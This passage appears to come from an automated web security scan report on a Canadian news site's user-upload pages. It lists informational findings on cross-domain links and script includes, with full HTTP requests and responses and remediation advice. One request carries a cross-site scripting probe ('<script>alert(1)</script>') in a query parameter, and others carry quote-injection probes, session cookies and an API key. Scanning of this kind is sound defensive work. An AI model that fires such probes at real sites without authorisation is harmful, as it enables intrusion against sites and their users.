<img src="http://assets.filemobile.com/2/FM_logos/powered_white_BW_MF.png" style="border:none; width: 110px; height:40px; behavior: url(/jslib/iepngfix.htc);"/>
</a>
...[SNIP]...
</style>
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

4.3. http://mynews.ctv.ca/mediaAll  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /mediaAll

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /mediaAll?siteT=&q=%27%27%27%27&x=22&y=1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.11.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520mynews%252520%25253A%252520uploader%2526pidt%253D1%2526oid%253Dhttp%25253A//assets.filemobile.com/43/images/search_button.gif%2526ot%253DIMAGE%2526oi%253D431; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.3.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:56:20 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 22023

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<link rel="shortcut icon" href="http://assets.filemobile.com/55/favicon.ico" type="image/x-icon"/>

<script type="text/javascript">
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</style>


<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
<div class="fmContent">


<script language="javascript" type="text/javascript" src="http://assets.filemobile.com/43/jquery-1.2.3.pack.js"></script>
<script language="javascript" type="text/javascript" src="http://assets.filemobile.com/43/jquery.truncate-2.3.js"></script>
...[SNIP]...
</a>
<a href="http://www.newsstar.ctv.ca/" class="menulink">News Star</a>
<a href="http://www.weatherstar.ctv.ca/" class="menulink">Weather Star</a>
...[SNIP]...
<br/>
<img src="http://assets.filemobile.com/43/images/140_mynewsmug.jpg">


</td>
...[SNIP]...
<a href="/upload?siteT=">

<img src="http://assets.filemobile.com/43/images/uploadNow.jpg" border="0"/></a>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<td id="mainTableRightContainer">

<iframe src="http://www.ctv.ca/mar/static/mapMN.html" width="304" height="204" frameborder="0" scrolling="no"></iframe>
...[SNIP]...
<div style="padding-left:5px; padding-top:6px; padding-right:4px">
<img src="http://assets.filemobile.com/43/images/110_gmap.jpg" border="0"></a>
...[SNIP]...
<td><img src="http://assets.filemobile.com/43/images/phone.jpg"/></td>
...[SNIP]...
<div id="FilemobileGenuineAdvantage" style="padding: 10px 0; width: 110px">
<a href="http://www.filemobile.com" title="Powered by Filemobile">
<img src="http://assets.filemobile.com/2/FM_logos/powered_white_BW_MF.png" style="border:none; width: 110px; height:40px; behavior: url(/jslib/iepngfix.htc);"/>
</a>
...[SNIP]...
</style>
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

4.4. http://mynews.ctv.ca/services/cssloader  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /services/cssloader

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /services/cssloader?id=2418 HTTP/1.1
Accept: */*
Referer: http://www.ctv.ca/generic/generated/electionHomeAMFrame.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 404 Not Found
Date: Sat, 20 Nov 2010 04:49:53 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www1
ETag: 7b743de4c1d3f389c8fe46743d721ec9
Last-Modified: Sat, 20 Nov 2010 04:49:53 GMT
Expires: Sat, 20 Nov 2010 04:59:53 GMT
Cache-Control: private,max-age=600
Vary: Accept-Encoding
Content-Type: text/css;charset=utf-8
X-Cache-Lookup: MISS from www1.filemobile.com:80
Via: 1.1 www1.filemobile.com:80 (squid/2.7.STABLE3)
Connection: close
Content-Length: 1337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>FileM
...[SNIP]...
<div style="font-family: sans-serif" ><img src="http://assets.filemobile.com/12/logos/fm-logo.png">     <h2 style="color: #FFF; background-color: #666; font-size: 20px; font-family: sans-serif; margin-top: 4px; padding: 1px">
...[SNIP]...

4.5. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /upload?siteT= HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.10.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.2.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:54:56 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 29893

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<link rel="shortcut icon" href="http://assets.filemobile.com/55/favicon.ico" type="image/x-icon"/>

<script type="text/javascript">
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</style>


<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
</script>


<script src="http://maps.google.com/maps?file=api&amp;v=2&amp;sensor=true&amp;key=ABQIAAAAW9ZHoPxZE3H3T5MwQUcShRTO9ohv0Ponpq6kiwUGWCsxp_xmNhRczMWICumGrZ2S3nNvBGSqYk6Z4Q" type="text/javascript"></script>

<script src="http://assets.filemobile.com/43/uploaderjs.js" type="text/javascript"></script>
...[SNIP]...
<a href="http://mynews.ctv.ca">
<img src="http://assets.filemobile.com/43/images/mn_logo.jpg" border="0"></a>
...[SNIP]...
</a>
<a href="http://www.newsstar.ctv.ca/" class="menulink">News Star</a>
<a href="http://www.weatherstar.ctv.ca/" class="menulink">Weather Star</a>
...[SNIP]...
<br/>
<img src="http://assets.filemobile.com/43/images/140_mynewsmug.jpg">


</td>
...[SNIP]...
</style>

<link rel="stylesheet" type="text/css" media="screen" href="http://assets.filemobile.com/43/uploader.css" />

<span style="font-size: 17px; font-family: Arial, Helvetica, sans-serif">
...[SNIP]...
<td id="mainTableRightContainer">

<iframe src="http://www.ctv.ca/mar/static/mapMN.html" width="304" height="204" frameborder="0" scrolling="no"></iframe>
...[SNIP]...
<div style="padding-left:5px; padding-top:6px; padding-right:4px">
<img src="http://assets.filemobile.com/43/images/110_gmap.jpg" border="0"></a>
...[SNIP]...
<td><img src="http://assets.filemobile.com/43/images/phone.jpg"/></td>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<div id="FilemobileGenuineAdvantage" style="padding: 10px 0; width: 110px">
<a href="http://www.filemobile.com" title="Powered by Filemobile">
<img src="http://assets.filemobile.com/2/FM_logos/powered_white_BW_MF.png" style="border:none; width: 110px; height:40px; behavior: url(/jslib/iepngfix.htc);"/>
</a>
...[SNIP]...
</style>
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

4.6. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
<link rel="shortcut icon" href="http://assets.filemobile.com/55/favicon.ico" type="image/x-icon"/>

<script type="text/javascript">
...[SNIP]...
<head>

<link rel="stylesheet" href="http://toronto.ctv.ca/tl/inc/js/ctvbc_menu.css" type="text/css" />

<script type="text/javascript" src="http://toronto.ctv.ca/tl/inc/js/ctvbc_menu.js"></script>
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
</style>


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</script>
<script src="http://assets.filemobile.com/43/AC_RunActiveContent.js" language="javascript"></script>
...[SNIP]...
<body leftmargin="0" marginwidth="0" topmargin="0" marginheight="0">


<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<table CELLPADDING="0" CELLSPACING="0" BORDER="0" >
...[SNIP]...
<div style="background-image:url(http://www.ctv.ca/mar/images/local990/topHeaderCTVLogo.jpg);background-repeat:no-repeat;height:45px;width:976px">


<a id="logo-zone" href="http://www.ctv.ca"></a>
...[SNIP]...
<td>

<img src="http://images.ctv.ca/mar/images/widgets/local_selectG.gif" alt="Local Stations" height="15" width="108" onClick="showMenu('local');" class="menuButton" style="margin-top: 3px">
<div class="dropDownContainer" onMouseUp="event.cancelBubble = true;">
...[SNIP]...
<div style="margin-top: 3px">
<img src="http://images.ctv.ca/mar/images/widgets/programs_select.gif" alt="Programs A-Z" height="15" width="99" onClick="showMenu('programs')">
</div>

<div style="position: relative; margin-top: -13px">
<iframe src="http://www.ctv.ca/generic/programsList.html" frameborder="0" scrolling="no" id="programs" name="programs" style="visibility:hidden;height:633px;width:500px; margin-left: -513px;" class="dynamicMenu"></iframe>
...[SNIP]...
<td><a href="http://www.ctv.ca/home" style="font-size: 10px">HOME</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/news" style="font-size: 10px">News</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/canadaam" style="font-size: 10px">Canada AM</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/wfive" style="font-size: 10px">W5</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/weather" style="font-size: 10px">Weather</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://shows.ctv.ca/2007/" style="font-size: 10px">Video</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/sports" style="font-size: 10px">Sports</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/entertainment" style="font-size: 10px">Entertainment</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/programs" style="font-size: 10px">Programs</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/tvlist" style="font-size: 10px">TV Listing</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://autos.ctv.ca/" style="font-size: 10px">Autos</a>
...[SNIP]...
<td style="padding-left: 2px"><a href="http://www.ctv.ca/contests" style="font-size: 10px">Contests</a>
...[SNIP]...
<h1 class="fontSize1"><a href="http://toronto.ctv.ca"><dt id="one-ddheader" onmouseover="ddMenu('one',1)" onmouseout="ddMenu('one',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/" class="underline">CTV Toronto Home</a>
...[SNIP]...
<h3 class="fontSize1"><a href="http://toronto.ctv.ca/weather"><dt id="two-ddheader" onmouseover="ddMenu('two',1)" onmouseout="ddMenu('two',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/weather" class="underline">Forecast and Current Conditions</a>
...[SNIP]...
<li><a href="http://toronto.ctv.ca/servlet/an/local/CTVNews/20080310/bio_tom_brown/20090423/?hub=TorontoWeather" class="underline">Tom Brown</a>
...[SNIP]...
<li><a href="http://toronto.ctv.ca/servlet/an/local/CTVNews/20080310/bio_anwar_knight/20090423/?hub=TorontoWeather" class="underline">Anwar Knight</a>
...[SNIP]...
<li><a href="http://dave.ctv.ca" class="underline">Dave Devall</a>
...[SNIP]...
<h3 class="fontSize1"><a href="http://toronto.ctv.ca/traffic"><dt id="three-ddheader" onmouseover="ddMenu('three',1)" onmouseout="ddMenu('three',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/traffic" class="underline">Live Traffic Conditions</a>
...[SNIP]...
<li><a href="http://toronto.ctv.ca/servlet/an/local/CTVNews/20090327/const_pothole_bkr_090327/20090327/?hub=TorontoNewHome" class="underline">Road Repairs</a>
...[SNIP]...
<li><a href="http://toronto.ctv.ca/gas/" class="underline">GTA Gas Prices</a>
...[SNIP]...
<h3 class="fontSize"><a href="http://toronto.ctv.ca/calendar"><dt id="four-ddheader" onmouseover="ddMenu('four',1)" onmouseout="ddMenu('four',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/calendar" class="underline">Connected Calendar</a>
...[SNIP]...
<h3 class="fontSize1"><a href="http://toronto.ctv.ca/contests"><dt id="six-ddheader" onmouseover="ddMenu('six',1)" onmouseout="ddMenu('six',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/contests" class="underline">Current Contests</a>
...[SNIP]...
<h3 class="fontSize1"><a href="http://toronto.ctv.ca/lottery"><dt id="seven-ddheader" onmouseover="ddMenu('seven',1)" onmouseout="ddMenu('seven',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/lottery" class="underline">Lottery Results</a>
...[SNIP]...
<h3 class="fontSize"><a href="http://toronto.ctv.ca/contactUs"><dt id="eight-ddheader" onmouseover="ddMenu('eight',1)" onmouseout="ddMenu('eight',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/contactUs" class="underline">Contact Us</a>
...[SNIP]...
<li><a href="http://toronto.ctv.ca/newsTips/" class="underline">News Tips</a>
...[SNIP]...
<h3 class="fontSize1"><a href="http://toronto.ctv.ca/aboutUs"><dt id="nine-ddheader" onmouseover="ddMenu('nine',1)" onmouseout="ddMenu('nine',-1)">
...[SNIP]...
<li><a href="http://toronto.ctv.ca/aboutUs" class="underline">CTV Toronto News Team</a>
...[SNIP]...
<li><a href="http://savelocal.ctv.ca/toronto" class="underline">Save Local TV</a>
...[SNIP]...
<li><a href="http://50yearsofnews.ctv.ca/" class="underline">Local News Matters</a>
...[SNIP]...
<li><a href="http://watch.ctv.ca/news/50-years-of-news/ctv-toronto/" class="underline">The History of CTV Toronto</a>
...[SNIP]...
<h1 class="fontSize1"><a href="http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml"><dt id="ten-ddheader" onmouseover="ddMenu('ten',1)" onmouseout="ddMenu('ten',-1)">
...[SNIP]...
<li><a href="http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml" class="underline">RSS</a></li>
<li><a href="http://twitter.com/ctvtoronto" target="blank" class="underline">Twitter</a></li>
<li><a href="http://www.facebook.com/pages/Toronto-ON/CTV-Toronto/58148619578" target="blank" class="underline">Facebook</a></li>
<li><a href="http://www.ctv.ca/newsletter" target="blank" class="underline">Newsletters</a>
...[SNIP]...
<li><a href="http://www.ctv.ca/generic/generated/static/NewsWireless/wireless.html" target="blank">Wireless</a>
...[SNIP]...
<a href="/?siteT=toronto"><img src="http://assets.filemobile.com/43/images/mynews_toronto.jpg" border="0"/></a>
...[SNIP]...
<a href="/upload?siteT=toronto">
<img src="http://assets.filemobile.com/43/images/uploadNow.jpg" border="0"/></a>
...[SNIP]...
</a>
<a href="http://www.newsstar.ctv.ca/" class="menulink">News Star</a>
<a href="http://www.weatherstar.ctv.ca/" class="menulink">Weather Star</a>
...[SNIP]...
<br/>
<img src="http://assets.filemobile.com/43/images/140_mynewsmug.jpg">


</td>
...[SNIP]...
<td id="mainTableRightContainer">

<iframe src="http://www.ctv.ca/mar/static/mapMN.html" width="304" height="204" frameborder="0" scrolling="no"></iframe>
...[SNIP]...
<div style="padding-left:5px; padding-top:6px; padding-right:4px">
<img src="http://assets.filemobile.com/43/images/110_gmap.jpg" border="0"></a>
...[SNIP]...
<td><img src="http://assets.filemobile.com/43/images/phone.jpg"/></td>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<div id="FilemobileGenuineAdvantage" style="padding: 10px 0; width: 110px">
<a href="http://www.filemobile.com" title="Powered by Filemobile">
<img src="http://assets.filemobile.com/2/FM_logos/powered_white_BW_MF.png" style="border:none; width: 110px; height:40px; behavior: url(/jslib/iepngfix.htc);"/>
</a>
...[SNIP]...
</style>
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 5 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://mynews.ctv.ca//servlet/HTMLTemplate/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   //servlet/HTMLTemplate/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET //servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%277c67e"><script>alert(1)</script>3d824a34752&x=24&y=6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: mynews.ctv.ca
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.12.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.4.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:59:41 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 9414

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

5.2. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
